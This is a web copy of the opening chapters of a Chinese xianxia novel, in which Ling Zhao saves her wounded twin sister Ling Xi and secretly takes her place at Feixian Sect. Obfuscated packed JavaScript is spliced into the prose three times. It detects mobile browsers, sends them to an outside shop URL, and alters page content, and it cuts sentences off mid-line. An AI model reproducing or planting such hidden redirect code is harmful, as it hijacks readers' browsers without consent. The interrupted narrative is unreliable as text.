《顶着妹妹身份那些年》 1. 第一章 (晋江文学城.发) 意识是从一片钝痛中挣扎着浮起。 凌昭指尖无意识地蜷缩了一下,掀开眼帘,一张温婉的女子面孔闯入视线,碧色服饰,气息柔和。 满室清苦药香裹挟着暖意涌上鼻尖,渗入四肢百骸,筋骨倒是舒坦了些,可脑子像被塞了棉花,意识沉甸甸。 “曦儿,感觉如何?” 温和的声音入耳,凌昭嘴唇微动,只溢出一丝气音:“……谁?” 云华伸出的手顿在半空,她仔细端详着凌昭的脸,半试探半疑惑道:“曦儿?你不认得师尊了?” 短短一句,凌昭瞬间清醒过来,眼眸垂下的瞬间,余光触及床尾驻足的佩剑修士——身形挺拔,月白剑袍,极具穿透力的目光打在她身上,毫不掩饰地审视。 北山霁,就是他把她抱回来的。 哦,不对。应该是把“凌曦”抱回来。 那这里是飞仙宗玉衡峰。 ……嘶 她心头一紧,她逆转阵法没收住。阵法反噬属实太厉害,本来是将计就计的假昏迷,可是刚回到玉衡峰她就坚持不住真昏死了,之后有没有漏出破绽,她还真不清楚。 顶替妹妹大业未半,如今就有些摇摇晃晃啊! 这场“顶替”祸事,还得从那场秘境开始说起。 . 无名秘境。 “铿——” 清越的剑鸣在谷中荡开,些许雾气被震散开来,才得见场地中交手的二人。 “笃”地一声闷响,像竹击顽石,眨眼间黑白身影再次拉开。 凌昭甩了甩发麻的手腕,有些不耐烦。 她刚出关,便看到妹妹留讯,说是进秘境历练了,掐指一算秘境开启接近尾声,她紧赶慢赶,躲过那些宗门把守的入口这才潜入进来。 一进来,心口的伴生玉便如同死了一般,探查不到一丝妹妹的气息,这可是姐妹二人娘胎里就带着的东西,这种异常无时无刻不在催促着她要快点确定妹妹的安全。 偏生一进来就碰上这个剑疯子,对方一如往日同她切磋,不知疲倦非要打个酣畅淋漓才结束。 仅是瞬息,北山霁已纵身而至,剑身隐隐颤鸣,直掠而来。 凌昭暗暗轻啧,真就陪你最后一招了。 她手腕忽地一转,青竹杖在空中划出一道半弧,不偏不倚,猛地点在对方剑脊之上,顺势一压、一挑,动作行云流水。 北山霁也反应极快,手腕微微发力,剑身剧震,磅礴的剑气顺着青竹杖打回。 名剑之威,寻常武器早已粉碎,但看似寻常的青竹杖只是微微一颤,弯出一个惊人圆弧,随即恢复。 借此反力,凌昭的身形早已向后飘远,青竹杖在掌心灵巧一转负于身后。面具下传出的气息丝毫不乱,敷衍地摆摆手: “累死了,算你赢喽。” 话音未落,身形已经走远,渐渐融入雾中,至于一句被风吹散的话: “走了。” 她走得干脆利落,丝毫不在意身后欲言又止的人。这为惊动各宗的剑道天才,似乎偏爱揪着她一个散修“切磋”,每次秘境相遇都免不了一场恶斗。今天也只是少打了一会儿。 凌昭这样想着便更没有负担了,反而恶狠狠地想,这个风光霁月的天才也很狡诈啊,专门找免费的陪练! 她真是仗义! 直到黑色的身影彻底消失,北山霁若有所思的目光才缓缓收回,手腕一抖,长剑精准归鞘,随即转身离开。、 . 秘境中心,雾气反常地稀薄下去,取而代之的是一种令人心悸的威压,凌昭靠近时探查的神识便被狠狠打回,震得神识微痛,,她只能停下缓行。 压下喉间涌上的腥甜,凌昭边走边打量着四周。 异常,太异常了。 一路赶来,秘境草木本是郁郁葱葱,可越靠近中心,干枯迹象便越明显。到了此处,目光所及皆是大片枯败,生机仿佛被瞬间抽干。 如此倒不像修士所为,那种境界的修士怎么会来这种小秘境。 到更像是要有秘宝出世引起的。 她心头一紧,妹妹的失踪会与此有关吗? “吼!” 一声妖兽嘶吼骤然打断思绪,那声音中似乎夹杂着修士的惊慌呼救。 凌昭眼神一凌,判断好方位,身形鬼魅般闪至近处,隐于巨石之后。 场中一片狼藉。 两名修士背靠着岌岌可危的土墙,试图掩盖气息,然而浓重的血腥味早已将他们暴露无遗,尤其为首的修士左臂已经堪堪露出骨头,鲜血浸透衣袖,煞白的脸色无一不在说着——他们没有反击之力了。 而他们面对的,是一头小山般的三面猿,三颗头颅上六只赤目十分突出,涎水从獠牙间滴落,远远便能闻到腥臭味。 凌昭眉头微蹙,金丹堪堪圆满的威压,让两个最多步入金丹的弟子呼吸都困难,更何况这头三面猿似乎与平日所见有些不同,但她一时也说不太清。 她目光扫过二人,尽管服饰已经被鲜血染红看不出具体模样,但他们腰间的莲印白玉牌已然揭示——飞仙宗内门弟子令牌。 是凌曦的同门。 思索间,三面猿已然确定那两名弟子方位,捶打着胸口嘶吼着,伸出重拳砸向那面土墙。 没有权衡的时间。 她手腕翻转间,一道寒光自袖中飞出,匕首便裹挟着凌厉灵力,精准贯入三面猿背后骨隙,那是颈椎与躯干连接处,它的致命点。 “噗呲” 沉闷的贯穿声。 三面猿挥出的前肢僵在半空,六只赤目凶光骤然涣散,小山般的身躯晃了晃轰然倒地,震碎土墙,激起一片尘土。 两名弟子呆若木鸡,直到尘埃落定,才有人牙齿发颤地挤出一点声音:“死、死了?” 令人意外地无声无息的死了。 那两名弟子尚在呆滞中,凌昭已然落至猿尸旁。她指尖微勾,嵌在骨隙中的匕首嗡鸣一声,飞到手中。 接着,她并指如刀,灵力凝于指尖,在那狰狞头颅上一划一剜,动作干脆利落。一枚龙眼大小、赤红的妖丹便落入掌心,丹体圆润。浑厚灵力萦绕。 成色不错,权当酬劳。 她正欲收起,身后蓦地炸开一声变调的厉喝: “住手!” 出声的是那名伤势稍轻的弟子。他竟挣扎着站了起来,脸上不见半分死里逃生的后怕,反倒涨得通红,满是羞愤:“这孽畜是我们先寻到、周师兄拼死重创的!你……你不过捡了个现成便宜!” 凌昭抬眼直直看着羞愤的弟子,面无表情看的对方心里发毛。 呦,搁着指责她呢。 被搀扶着的周师兄闻言,眉头紧锁,嘴唇微动,最终只化作一声几不可闻的叹息。 他强提一口气,声音沙哑却带着不容反驳的力度:“师弟,慎言!救命大恩未报,怎么能如此无礼夺丹?” 那个弟子脸色涨红,还想嘀咕,被周行沉冷的目光一扫,顿时噤声,悻悻低头。 周行这才转向凌昭,忍着剧痛微微俯身:“飞仙宗周行,拜谢道友救命之恩。这两位是在下的师弟师妹。” 他礼数周全,姿态放得极低,话锋却微妙一转,语气变得诚恳而为难,“只是……实不相瞒,我等此番深入秘境,正是奉命寻此妖丹。道友修为高深,此物于您或许寻常,于我等新入门的弟子却很珍贵,我们愿等价交换。” 周行说完无声打量着凌昭,却见对方迟迟不出声。 凌昭正看着妖丹沉思,却思索的不是妖丹之事,而是想着这次一定要成功劝说凌曦,劝她离开这种宗门。 不过,先找到妹妹再说! 凌昭懒得多费口舌,正要收妖丹的瞬间,耳廓微动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这散修……”一名修士刚要怒骂,眼前哪还有凌昭的身影,转头训斥周行两人,“修为低就不要乱跑,什么人都敢招惹,真是活得不耐烦了……” 周行二人被训斥,脸色憋的通红但也没有出声反驳,淮清月带着的弟子,身份自然不是他们可以随便冒犯的。 这时一道懒洋洋的声音带着戏谑,不知从何处幽幽飘来: “哟,淮师姐。失踪这么大的事,不知会北山那小子一声?他可是领队呢” 那声音仿佛在耳边低语,又有些飘渺无踪:“啊呀,忘了。小曦师妹分到你这一队了吧?” 气氛陡然变得微妙,训斥的不训斥了,找存在感的也不找了,都小心地偷偷打量淮清月的反应。 敢这么说话的,只能是淮清月的二师弟,谁不知道二人虽同一个师尊却极为不对付,但是他们记得他不是在宗门闭关呢吗! 众人心思各异,淮清月却恍若未闻,只从储物戒中取出两枚丹药,弹给周行二人。随即,她指尖掐诀,一缕灵光自指尖飞出,化作一只剔透的灵蝶,在她指尖轻盈振翅,便没入茫茫雾气之中。 做完这些,她指尖又弹出一道灵力将人群中不显眼的纸鹤销毁,才不容置疑地吩咐: “回营地。” 周行二人吃了丹药,便默默跟在后面,先前出声的小弟子小声和周行说着:“他们不是来找凌师姐的吗?怎的突然回去了。” 周行余光瞥了一眼身侧的人,笑了笑没说话。 这可不是他们能问的。 另一边,北山霁看着传讯,看了眼秘境深处的方向,利落斩下手边的妖兽。 “走。” 身侧的修士挖好妖丹,赶忙跟上。 跟上就对了! 2. 第二章 那股威压消失了。 神识铺开的刹那,凌昭浑身一僵——深处传来的,是师父的灵力波动。 师父不在灵界,失联许久,这只能是种在妹妹识海深处那道保命阵法被触发了。师父曾说,四界之内,无人可破。 虽然确保妹妹还活着,凌昭的心却直往下坠。 妹妹到底遭遇了什么,才能触发它?她甚至不敢让那个念头在脑中成形,仿佛一想,就会看见最坏的结局。 全是她的疏忽。如果凌曦没进这劳什子宗门,如果她一直把妹妹带在身边…… 她身形骤然加速,直冲秘境深处。 这次,就得带她离开飞仙。 . 威压一消,不过几个呼吸,凌昭已至现场。 空气中剑气残留未散,四周枯木早已被斩成齑粉。 是阵法里的剑气,不会错。 凌昭深吸一口气,压下狂跳的心,指尖凝起灵力,凌空一道符文瞬间成型,被她一掌拍向虚空某处。 符文触及无形屏障,涟漪般无声消融。下一瞬,沛然吸力传来,将她整个人扯入阵中。 眼前景象刚定,甚至来不及站稳,阵法中心那片触目惊心的红,便狠狠地闯入她的视野—— 凌曦蜷缩在阵中心,水蓝的衣裙几乎被暗沉的血色浸透,手臂、肩背交错着深浅不一的伤口。那张总是含着温柔笑意的脸,此刻苍白如纸,眉眼紧紧蹙在一起,尽是痛苦。 “曦儿——!” 凌昭几步闪到跟前,小心翼翼地将那蜷缩的身体揽入怀中。直到切实感受到怀中微弱的体温,她才敢缓缓吐出那口一直屏住的浊气。指尖止不住的颤抖,灵力却已本能地、源源不断渡入凌曦体内。 神识紧随其后,细致扫过。这一扫,让凌昭的心瞬间沉入谷底。 不止是体无完肤的皮肉伤。经脉多处几近崩断,灵力运行滞涩混乱;识海更是遭受众创。 单说皮肉伤,她平日历练经常如此知道多痛,但妹妹何时受过这种伤。 一股杀意,自心底最深处猛然窜起,瞬间席卷身心。 凌昭毫不犹豫地取出一枚隐隐散发霞光的丹药,小心推入凌曦口中,并以灵力助其缓缓咽下。 九灵丹,有活死人医白骨之效。 昔年一处上古遗迹中搏杀所得,世间仅有两颗。她自己曾倚仗其中一颗,于死局中拼出一条生路。她无比庆幸自己还有一颗,及时将生死线的凌曦拉回来。 丹药入口,凌昭立刻捏碎数颗上品灵石,精纯灵气涌入体内,又被她毫无保留地转化为温和灵力,持续渡入凌曦经脉,助其化开那霸道无匹的药力。九灵丹药性极烈,炼化不易,稍有差池便是雪上加霜。 时间一点点流逝。凌昭闭着眼,全神贯注于操控灵力,脑海却在疯狂推演。 一张张或敌或疏的面孔飞速闪过。与她结怨者,多是争夺天材地宝时的正面冲突,她向来戴着面具,行踪不定,仇家就算想报复,也不太可能精准找到凌曦头上。 那么,是凌曦自己招惹的祸端?她性子偏柔善,在灵界人缘颇佳,又能得罪谁?谁又会对一个医修下如此酷刑般的毒手? 疑云重重,杀机暗藏。 不知过了多久,怀中人极其轻微地动了一下。 凌曦纤长的睫毛颤了颤,缓缓掀开。眼中带着迷茫与恐惧,视线飘忽了好一会儿,才终于艰难地聚焦在凌昭那张暗纹面具上。 “阿、阿姐?”刚刚醒来,神识还隐隐作痛,声音沙哑。 凌昭抬手,轻轻摘下了脸上的面具。 一样的容颜映入眼帘,凌曦眼中惊悸散去大半。她挣扎着想要坐起,神识隐隐作痛,额角渗出细密冷汗。然而,下一秒,她的目光捕捉到凌昭苍白的嘴唇和眉宇间难以掩饰的疲色。 发凉的手指猛地牵住凌昭的袖口,力气虽弱,语气却急:“阿姐!你的脸色……你怎么了!” “我没事,只是耗了些灵力。”凌昭反手握住她的手,轻轻拢在掌心,摇了摇头,神色凝重,“曦儿,到底发生了什么?是谁伤的你?” 凌曦依偎在姐姐怀里,闭了闭眼,试图回想。然而,仅仅一瞬,剧烈的痛苦之色便爬上她的脸颊,她身体不受控制地蜷缩起来。 “进入秘境后……淮师姐说中心区域可能有清心草……我需要它……”她断断续续,声音发颤,“然后……不知怎么,就被拖进了一个…一个陌生的洞天里……” 淮清月?那个紫衣女修? 凌昭眼睛微眯,刚刚在中心那人的表现不像是知情之人,敢情是她放的消息。 淮清月已经被凌昭拉入怀疑名单。 “我记不清那洞天的模样……只记得里面好冷,到处都是……杀意……"凌曦的声音开始发抖,神色越发痛苦。 “好多灵刃,一直打过来……躲不开,还有一个声音不停地在问……不,是在逼问我……” “灵刃一直打在身上。” 凌昭心里一字一顿地重复,眸色加深。 竟然是洞天。 修士唯有踏入第六境“离窍期”,方有极小机缘感悟出洞天。能将凌曦强行拖入,且充斥着杀意的洞天,凶手的范围明显缩小。 她强迫自己冷静,声音紧绷着:“那声音,逼问你什么?” “力量……它问我力量……不、不,她问我是谁……”凌曦似乎陷入极大的痛苦,声不成调地重复着,“我不记得了……记忆、我的记忆……” 一阵血腥味弥漫,凌曦的皮肤开始异常渗血,凌昭暗道:不妙! 她厉声喝道:“停下,曦儿别想了!”掌心再次贴住凌曦后背,想要输送灵力,却发现她吸收不了,甚至灵力还在流逝。 非常快的速度。 “该死!” 凌昭脸色巨变,不知到底是什么情况,但目前只能封锁凌曦灵脉,阻止灵力溃散。 这个过程极其耗费心神与灵力,更何况凌曦体内有力量在排斥。凌昭识海也传来针扎般的刺痛,喉间腥甜不断上涌。 还不够!自身灵力急速消耗,灵石根本,满足提供不了大量的灵力,但凌曦灵脉的封印却只完成大半。 伴生玉! 凌昭灵光一闪,毫不犹豫拿出半块玉,与凌曦那半块骤然相合。 双玉契合的刹那,柔和光华将二人笼罩。待稳定时,已置身于一方弥漫着白色灵雾、中心矗立着一张莹润玉床的静谧空间。 师父的话语仿佛在耳边响起:“双生伴玉,合则为界。此界源于你姐妹二人生命本源,灵气与你们同息共生,乃是天下最适合你们的疗伤之所。” 果然,一入此界,无需引导,界内那浓郁到化不开的、带着亲切本源气息的灵气,便自发、汹涌地朝姐妹二人涌来,尤其是朝着正在施术的凌昭贯去。 得到这源源不断的灵气补充,凌昭精神一振,终于一鼓作气,将凌曦最后几处关键灵脉彻底封死。 灵力溃散,戛然而止。 凌昭扶着几乎虚脱的凌曦在玉床上坐稳,自己也踉跄一下,才长长地吐出一口浊气。 一阵阴寒爬上她的脊背。 好阴毒的后手! 她尚不清楚凌曦灵力流逝的原理,但大抵猜出和记忆有关。对方这是做了要凌曦命的准备。尽管凌曦不死,只要凌曦去回想便会触发对方留的后手,灵力溃散,修为倒退,直至身死道消。 “咳咳……咳” 凌曦从半昏迷的状态中挣扎着起来,咳得撕心裂肺,苍白的手指无意识地攥紧了凌昭的衣襟,“宗门……回宗……” “不要想、不要急,慢慢说。”凌昭轻轻安抚她,有些东西不能想便不想,她会去查清楚。 凌曦缓了好一会儿,才艰难地抬起眼:“阿姐……不止是洞天里的事……我进入秘境之前的好多事情……也都想不起来了,我隐隐知道我忘了很重要的事,很重要。”最后几乎是咬着牙说出来的。 凌昭心下一沉,不祥的预感笼罩她。 凌曦深吸一口气,仿佛用尽了全身力气说出那句话:“我好像看到了……那个人在抵挡剑气的时候用的……是飞仙宗的镇岳剑法!” 镇岳剑法。 凌昭甚是意外。飞仙宗镇派绝学,非亲传不学。此剑诀浩大,辨识度极高,绝难冒充。且能抵挡师父那道剑气,最少也是个长老。 这既是好消息,也是坏消息。 好的一面是,凶手范围缩小,几乎可以锁定在飞仙宗内的长老以上,并且是能接触到《镇岳剑诀》核心传承的那一小撮人之中。 而很不好的一面是,要继续追查下去,凌曦就必须回到飞仙宗——那个凶手可能正隐藏其中,这无异于羊入虎口。 敌在暗。 更何况,凌曦如今灵脉被封,形同凡人,毫无自保之力。 让她回去?绝无可能。 但……并非完全堵死。 凌昭脑中浮起师父当年把玩着伴生玉时,那带着几分调侃与深意的话,清晰响起:“神魂相映,真假莫辨。这玉啊,妙用可不止一处哦。” 一个大胆到近乎疯狂的计划,已在她心中迅速成型。 “阿姐,”凌曦忽然抬起头,眼神却透着执拗,“我知道你定要劝我离开宗门,但我必须回去。” 凌昭看着她,轻轻笑了,抬手帮她理好凌乱的发丝:“劝你多少次了也没见同意,这次不劝了,但不是你回去。” 凌曦怔住,满眼不解。 “你忘了伴生玉最大的妙用了吗?”凌昭指尖轻轻点了点胸前已合二为一的温玉,二人对视瞬间,凌曦恍然大悟。 伴生玉最大的用处便在这里,合体的伴生玉便代表他们是一体的,神魂气息高度一致,只要在伴生空间里人不随便放出神识,谁也不会发觉异常。 “所以,你留在伴生空间里安心养伤,”凌昭平静陈述,“外面的一切都有我呢。”找凶手、找恢复妹妹的方法等等。 她说着,自己倒先弯了弯嘴角,想起师父那句不知是感慨还是玩笑的话:这对伴生玉,怕是天道给你们这对双生子最大的偏爱吧。 凌曦垂着眼帘,久久不语。 凌昭却能清晰地感受到她衣袖下那微微颤抖的手指,表达着担忧与无力。 “曦儿,”凌昭柔声劝着,“你是医修,该比谁都明白,神识之伤不是小问题,需得绝对静养,治疗丹药也是极其珍贵。而且灵脉还不知道要封到什么时候,谈何查案?谈何自保?” 道理都懂,可情感上…… 凌曦依旧沉默,眼圈却慢慢红了。 凌昭见状,故意板起脸,用夸张的语气叹道:“哎,听说飞仙宗药圃里,千年灵草跟大白菜似的;丹药大把,连弟子喝的茶都是灵树凝聚出的……我这穷散修可还没见识过呢。怎么,某个小没良心的,舍不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164920|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让阿姐我去开开眼界、享享福?” “噗” 凌曦终是没忍住,一边掉眼泪一边笑出了声,轻轻锤了凌昭一下:“阿姐想去便去是了!” 沉重的气氛终于被这带着泪的笑声冲淡些许。凌昭看着妹妹又哭又笑的脸,心中暖了暖。 这才对嘛,姐妹二人之间不需要这么沉重,什么事情总会解决的。 计划其实很简单,核心八字:李代桃僵,重伤失忆。 神魂气息不是大问题,但姐妹二人性情习惯不大相同,以防万一,二人一致认为装失忆是最优解,也能让暗处的凶手降低警惕。 “这是牵影笔,平日不方便动用神识,便用这个沟通。” 牵影笔其实就是简化的传讯玉简,凌昭早些年得到这份法器,觉得有意思便留下了,如今倒是真的用上了。 凌曦接过,起身用力抱住凌昭,将脸深深埋在她肩头,声音闷闷的:“阿姐,小心、一定要小心。” 凌昭不喜煽情,况且她有信心做好,像过往完成那些历练任务一样。 她安抚地拍了拍凌曦,声音让人格外安心。 “曦儿” “相信阿姐” . 阵法中心,凌昭闭目凝神,周身灵力翻滚,脚下阵法符文开始旋转,若是懂阵法的人在此,定然发现:阵法纹路在往生路的相反方向转! 整个阵法空间不堪重负的震颤着,阵法中灵力躁动起来,凌昭身形稳如山丝毫不受影响,所有灵力凝聚于右掌,义无反顾地砸向脚下露出的阵眼。 轰! 毁灭性的爆炸迸发,阵法反噬的灵力一道道刺入她四肢,她闷哼一声,嘴角不断有鲜血溢出,但仍然强撑着没有倒下,早已换上的水蓝衣裙被鲜血染红。 甚至比凌曦那个更触目惊心。 终于,四周沉寂下来。 “咔” 一连串碎裂的声音显得格外突出,更像是凌昭心碎的声音。 她随手一道灵力将彻底失去效果的防御法器销毁,这才不再强撑重重砸在地上。 她想叹息却牵连肺腑,呛出几口淤血,感受到浑身像散架了般,认命地闭上眼睛。 那可是好几件法器,可惜了。 还是有些鲁莽了,忘了师父的阵法一向霸道。 不知道师父老人家收到传讯了没。 宗门的人怎么还不来?血都要干了。 凌昭就这样思绪飘远,等待着被发现。 …… 秘境还有两个时辰便要关闭,修士都纷纷朝着出口汇聚。 恰在此时。 一阵轰响自秘境深处向四周荡开,众修士纷纷抬头。 “这动静……莫非有秘宝临世?” “秘境深处!快,去看看!” “这都要结束了,这异变不对劲吧。” 贪婪压倒了大部分修士的谨慎,霎时间,数道身影毫不犹豫地调转方向,化作流光向深处疾驰而去。 稍慢赶到中心区域的修士,看到的便是这样一幅诡异景象: 约莫数名修士,自发地围成了一个松散的大圈,人人面露惊疑、忌惮,却无一人敢踏入圈内半步。 圈子中央,一片焦黑空地的正中,静静躺着一个浑身浴血、生死不知的女修。血泊中依稀辨得是水蓝服饰,面容被血污遮盖大半。 死寂般的对峙中,一个压低却难掩惊诧的声音打破了沉默: “那服饰,看着像是……那位凌曦仙子?” “啧,一个医修,在秘境里伤成这样,有什么稀奇?” “飞仙宗的人呢?自家人伤成这样,还没赶来?” 窃窃私语声不停,却依旧无人上前。 围观者越聚越多,皆在谨慎观望。谁都明白,这可是云华真人最疼爱的小徒弟,此刻谁先踏出那一步,谁就可能成为众矢之的,是好是坏还真说不准。 一道凌厉剑光破空而来,无声落下,众人这才看清来人,场中诡异地安静下来。 飞仙宗来人了。 只是大家没想到来的是他! 有后来者嘀咕咋这么安静,旁边同伴闻言猛地拽他一下,压着嗓子要咬牙切齿:“你看是你说话快,还是他那剑快!” 北山霁已靠近血泊中心站定,目光扫视一圈简单判断:禁制气息残留,有剑气摧毁的痕迹。 目光最后落在女修身上。 他和凌曦同为亲传,却并不熟络,此刻躺着的女修满面血污,气息微弱,辨认有些难度。 “大师兄!” 另一道剑光仓促落地,一个看着个子矮小的男修利落跳下剑,看到倒地的女修惊呼出声,“是凌师姐!” 北山霁淡淡地瞥了他一眼,示意他抱起来。 后者瞪大眼睛,指了指自己,又指了指凌昭,“师兄开玩笑呢吧?” 说完就后悔了,缩了缩脖子硬着头皮解释道:“师兄这事现在就你最合适!” 北山霁沉默一瞬,嘴唇紧抿将满身血污的人稳稳地抱起。 后来的剑修看得眼角一跳,话到嘴边又咽了回去。 他看这姿势……怎么像随时准备扔出去的样子啊啊啊! 一转眼,那月白身影已化作一道流光,御剑离开,留下一声清越剑鸣。 “大师兄!等等我啊!” 他哭丧着脸,赶忙御剑拼命追去。 3. 第三章 飞仙宗,坐落于钟灵毓秀的飞仙山脉。七十二座奇峰如剑指天,云海翻涌,琉璃与白玉构筑的宫殿群在霞光间若隐若现,恍如仙境。 时近黄昏,天光渐收。各峰弟子或御剑、或乘鹤,正循着日常轨迹往来穿梭。一道破空剑啸,却骤然撕破了这份宁静。 众弟子闻声抬头,只见一道月白剑光划破暮色,在空中留下残影,方向毫厘不偏,直指医修一脉所在的玉衡峰。 山道旁,有眼尖的弟子惊呼:“是大师兄!他怎么提前归宗了?” “等等!师兄怀里的是……?” “是凌曦师姐!快看玉简,消息都传疯了——师姐在秘境里出大事了!” 北山霁带着昏迷不醒的凌昭先行回宗,而通过宗门玉简飞速传播的消息,更快一步——玉衡峰小师妹凌曦,在秘境中遭遇不测,被大师兄亲自抱了回来! 平静的傍晚,瞬间充斥着热议声。 “云华真人最是疼惜凌师姐,此刻定然已心急如焚赶回玉衡峰了吧?” “未必。宗主午时便急召所有峰主主殿议事,至今殿门未开……” 无人注意角落里,一个修士攥着龟甲走过念念有词:“这个秘境果然大凶啊!还好没去、还好……” 凌昭没想到赶来的是北山霁,更没想到抱自己回来的是他。 这一路,对方显然不习惯抱人,凌昭更是觉着被抱的难受。抱不像抱,更像捧着,紧绷着身体,浑身冒着不好惹的气息。 北山霁期间塞了一颗丹药,缓解了剧痛但也让她昏昏欲睡,她本意只是假装昏迷以防露馅,尽力提起精神。 直到进入飞仙宗,凌昭才真的撑不住了,彻底昏死过去。 …… 玉衡峰 剑光坠入,北山霁身形如松稳稳落在主殿前。 瞥了眼怀中的女修,面容上的血迹干涸,微弱的鼻息提醒着对方还没死。 殿前正执帚洒扫的一名弟子闻声抬头,先是一愣——无极峰大师兄怎会突然来玉衡峰?还抱着个浑身是血的人? 等等! 洒扫弟子定睛一看,瞳孔骤缩,手中扫帚“哐当”一声掉落在地。 “凌、凌师姐?” 她几乎是连滚带爬地扑到近前,看着那惨状,吓得魂飞魄散,话都说不利索了:“北、北山师兄!峰主、峰主被宗主召去议事,至今未归,大师姐带着几位师兄师姐去采购药材了,也、也不在!这、这……” 她急得团团转,几乎要哭出来。自己只是个最近刚调来的洒扫弟子,何曾经历过这等阵仗! 北山霁闻言,眉峰蹙紧了些许。 他离开秘境第一时间便已传讯,什么议事,竟持续了如此之久? 心中疑虑一闪而过,但他面上不显分毫。 他目光扫过那已六神无主的洒扫弟子,声音依旧平稳听不出情绪:“师妹的寝殿在何处?” “在、在后山……”小弟子慌忙答道。 “带路。” 小弟子如获大赦,也顾不上捡扫帚,胡乱指了个方向,便踉踉跄跄地在前面小跑引路。 玉衡峰后山,环境清幽,两侧药圃的各类灵草生机勃勃,蜿蜒小径尽头露出一角飞檐,那便是凌曦的寝殿。 将人领至殿门前,洒扫弟子如释重负,匆匆拜别:“北山师兄,便是此处。弟子这便去通知峰主、大师姐!”说罢,仓促离开。 小弟子心里也叫苦,偏生这么巧,玉衡峰一个靠谱的人都没有。 殿内陈设素雅,除了基本陈设,靠墙的架上陈列的诸多玉简与药材标本。他疑虑要不要用清洁术,毕竟凌昭浑身血实在是多。 但考虑到其他法术可能干扰稍后的诊治,便作罢,缓缓将人放在榻上。 起身时,他目光却被榻边小几上摊开着的一卷书册吸引,页面空白。 无字书? 北山霁眸光微顿,一丝极淡的疑惑掠过心头,仅仅一瞬间而已。 云华真人尚未到来。北山霁静立于榻旁,并未离去,目光沉静地落在昏迷的女修身上。 一种难以言喻的异样感,始终萦绕在他心头。他与凌曦虽同为亲传弟子,却分属不同主峰,交集寥寥,印象中不过是数面之缘。往日,他不曾有过任何特殊感觉。 直觉告诉他,他应该留下。 “小曦!” 饱含焦灼的声音响起,云华真人就一阵风般闪入殿内,她仍穿着议事的碧色峰主袍,发髻因疾行而略显松散,面庞写满了忧虑。急切。 “师叔。”北山霁侧身让至一旁。 云华闻言只是浅浅点头,便抢至榻前,指尖已然搭上凌昭腕脉,肉眼可见的神色变得凝重。 灵力所过之处,伤势轻重瞬间显现。体表是密集的灵刃切割之伤,虽已止血,但创面狰狞。而更严重的是内里——多处经脉受损,灵力运转晦涩。云华心疼如绞,万幸的是,经脉没有断裂。 然而,随着探查深入,她神色多了些诧异。 这伤势的性质……极其古怪。不像是与外力搏杀所致,反倒更接近于灵力反噬。 她心念一动,神识凝聚,小心探向凌曦的识海,想探察其根本。然而,神识一靠近,便被一个强横的气息猛地弹开。 这道气息……绝非凌曦所有!蕴含着蛮横剑意,却是一种守护的姿态,隔绝一切外来探查。 有它在,曦儿的识海便如同被置于最坚固的堡垒之中。神识不损,根基便不会动摇,再重的肉身伤势都有挽回余地。 这让她稍感安慰,却也疑窦更深:曦儿身上,何时有了如此可怕的力量? 压下心中重重疑虑,云华真人深吸一口气。 “外伤与经脉之损虽重,但未及根本。待我施法。” 她起身,立于榻前,双手在胸前结出一个繁复的法印,同时北山霁清晰地感知到,周遭的空间发生了微妙的变化,他们三人仿佛瞬间被剥离出来,置入了一方独立的领域之中。 云华的“春霖洞天”。她将他一同纳入,是有意让他提前体悟洞天玄奥,悟出洞天本就不易,这份指点之意,北山霁心领神会。 洞天之内,时间流速似乎也与外界不同。约莫一炷香后,空间轻晃,重回室内。 榻上之人,体表那些狰狞的伤口已然消失不见,肌肤光洁如初,脸上也恢复了些许血色,虽然还是显得苍白,呼吸变得平稳悠长。 北山霁这才正视凌昭的完整面貌,确实坐实了外界“第一美人”的称号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164921|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云华再次搭脉细查,除了无法探查外,经脉损伤已基本愈合,灵力也开始缓慢自行运转。 她走至桌边,端起微凉的茶盏浅饮一口,一直紧绷的心神才真正松懈下来,长长舒了一口气:“性命已无忧。接下来,只需静养与等待苏醒即可。” “多谢师叔指点。”北山霁拱手一礼。 云华摆摆手,浅笑:“该我谢你才对。若非你及时将曦儿送回,耽搁下去,后果不堪设想。”她放下茶盏,神色又转为肃然,“师侄,将你知晓的来龙去脉,仔细说与我听。” 北山霁便将从接到淮清月传讯,至最终在秘境中心发现凌曦,条理清晰地陈述了一遍。 听到“禁制气息”几个字时,云华端茶的手明显顿住了。 云华目光连闪,沉吟片刻,问道:“按惯例,每个未被完全探索的秘境,其核心区域往往孕育着该秘境最大的一份机缘。此次秘境,可有关于核心机缘现世的消息?” 北山霁摇头:“未曾。唯一波动便是凌师妹重伤昏迷之地。” 云华真人缓缓放下茶杯,眼底闪过一丝了然,却也蒙上了更深的忧色。 “若真如此巧,曦儿很可能触动了那份无人知晓的上古机缘。”她声音带着叹息,“福缘深厚,劫数亦随之而来。若自身不足以驾驭那份机缘,灵力暴走,承受反噬、重伤至此……便说得通了。” 这似乎是最合理的解释。 北山霁沉默伫立,并未附和。 . 